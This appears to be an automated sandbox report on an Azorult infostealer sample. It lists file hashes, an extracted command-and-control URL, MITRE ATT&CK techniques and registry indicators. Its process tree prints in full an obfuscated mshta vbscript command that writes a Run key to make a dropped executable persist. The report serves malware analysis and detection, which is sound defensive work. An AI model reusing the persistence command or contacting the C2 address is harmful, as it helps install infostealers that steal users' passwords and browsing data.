azorult | f570125519d8cfdcc062ca28def97c43066f8ffd1d99e48c9b579ab9a5229dff

General

Target

e70a0a2127982ae79c14bdf5d8134d4a_JaffaCakes118.exe
Size

272KB
MD5

e70a0a2127982ae79c14bdf5d8134d4a
SHA1

b659dc011da0583c308a5a1d39d5bcb27fbc0336
SHA256

f570125519d8cfdcc062ca28def97c43066f8ffd1d99e48c9b579ab9a5229dff
SHA512

b81e9099eb1c6b027b189f64ae987f08b9ad8491f586142b970ab6f81bd496f6f9a2e2cee4f7b0e4c69ebf9338702b199983b506f1b521b9ff52b322bb35c482
SSDEEP

3072:wWEJcSWEJcZsASuf9k7vpB41JzndCbPEBmMD/f3yXGsHImgQWOPaCNaCIfWEJc:wWZSWZRf9kE0bY/fCWsHImSTRxWZ

Score

10^/10

azorult discovery infostealer persistence trojan

Malware Config

Extracted

Family

azorult

C2

http://rowv.us/nwama/index.php

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

e70a0a2127982ae79c14bdf5d8134d4a_JaffaCakes118.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	e70a0a2127982ae79c14bdf5d8134d4a_JaffaCakes118.exe

Executes dropped EXE 1 IoCs

Processes:

ADVENTRY.exe

pid process

4676 ADVENTRY.exe

pid	process
4676	ADVENTRY.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Spaghettis1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ADVENTRY.exe"	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

e70a0a2127982ae79c14bdf5d8134d4a_JaffaCakes118.exemshta.exeADVENTRY.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e70a0a2127982ae79c14bdf5d8134d4a_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ADVENTRY.exe

Suspicious use of FindShellTrayWindow 4 IoCs

Processes:

e70a0a2127982ae79c14bdf5d8134d4a_JaffaCakes118.exeADVENTRY.exe

pid	process
5056	e70a0a2127982ae79c14bdf5d8134d4a_JaffaCakes118.exe
5056	e70a0a2127982ae79c14bdf5d8134d4a_JaffaCakes118.exe
4676	ADVENTRY.exe
4676	ADVENTRY.exe

Suspicious use of SendNotifyMessage 4 IoCs

Processes:

e70a0a2127982ae79c14bdf5d8134d4a_JaffaCakes118.exeADVENTRY.exe

pid	process
5056	e70a0a2127982ae79c14bdf5d8134d4a_JaffaCakes118.exe
5056	e70a0a2127982ae79c14bdf5d8134d4a_JaffaCakes118.exe
4676	ADVENTRY.exe
4676	ADVENTRY.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

e70a0a2127982ae79c14bdf5d8134d4a_JaffaCakes118.exeADVENTRY.exe

pid process

5056 e70a0a2127982ae79c14bdf5d8134d4a_JaffaCakes118.exe
4676 ADVENTRY.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

e70a0a2127982ae79c14bdf5d8134d4a_JaffaCakes118.exe

description	pid	process	target process
PID 5056 wrote to memory of 764	5056	e70a0a2127982ae79c14bdf5d8134d4a_JaffaCakes118.exe	mshta.exe
PID 5056 wrote to memory of 764	5056	e70a0a2127982ae79c14bdf5d8134d4a_JaffaCakes118.exe	mshta.exe
PID 5056 wrote to memory of 764	5056	e70a0a2127982ae79c14bdf5d8134d4a_JaffaCakes118.exe	mshta.exe
PID 5056 wrote to memory of 4676	5056	e70a0a2127982ae79c14bdf5d8134d4a_JaffaCakes118.exe	ADVENTRY.exe
PID 5056 wrote to memory of 4676	5056	e70a0a2127982ae79c14bdf5d8134d4a_JaffaCakes118.exe	ADVENTRY.exe
PID 5056 wrote to memory of 4676	5056	e70a0a2127982ae79c14bdf5d8134d4a_JaffaCakes118.exe	ADVENTRY.exe

C:\Users\Admin\AppData\Local\Temp\e70a0a2127982ae79c14bdf5d8134d4a_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\e70a0a2127982ae79c14bdf5d8134d4a_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5056
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\System32\mshta.exe" vbscript:Execute(" str1 = ""WScript.Shell"" : str2 = ""Set WshShell = CrXXteObject(str1)"" : str2 = Replace(str2,""XX"",""ea"") : execute str2 : myKey = ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Spaghettis1"" : WshShell.RegWrite myKey,""C:\Users\Admin\AppData\Local\Temp\ADVENTRY.exe"",""REG_SZ"" : window.close")
  2⤵
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  PID:764
- C:\Users\Admin\AppData\Local\Temp\ADVENTRY.exe
  "C:\Users\Admin\AppData\Local\Temp\ADVENTRY.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:4676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\ADVENTRY.exe

Filesize
272KB

MD5
056c8da79521204591fa908948c3ccd1

SHA1
113f2e915224ed1af9f4de6c8fb8ae724b26ec95

SHA256
64dec3e4c11c493496bf37afbd1c249f189bdb4993bcf0cb7b662b457bf079a4

SHA512
6142971f461cf57428de28770c080add6caf39bc5a04dd2c62eecda24284196a3e14bd29abc66eb510098d6e49648ddf9d5e833711edb746b67abb25b2cbae98

Download Submit
memory/4676-16-0x0000000000400000-0x0000000000444000-memory.dmp

Filesize
272KB

Download
memory/4676-17-0x0000000000400000-0x0000000000444000-memory.dmp

Filesize
272KB

Download
memory/5056-2-0x0000000076FE1000-0x0000000077101000-memory.dmp

Filesize
1.1MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads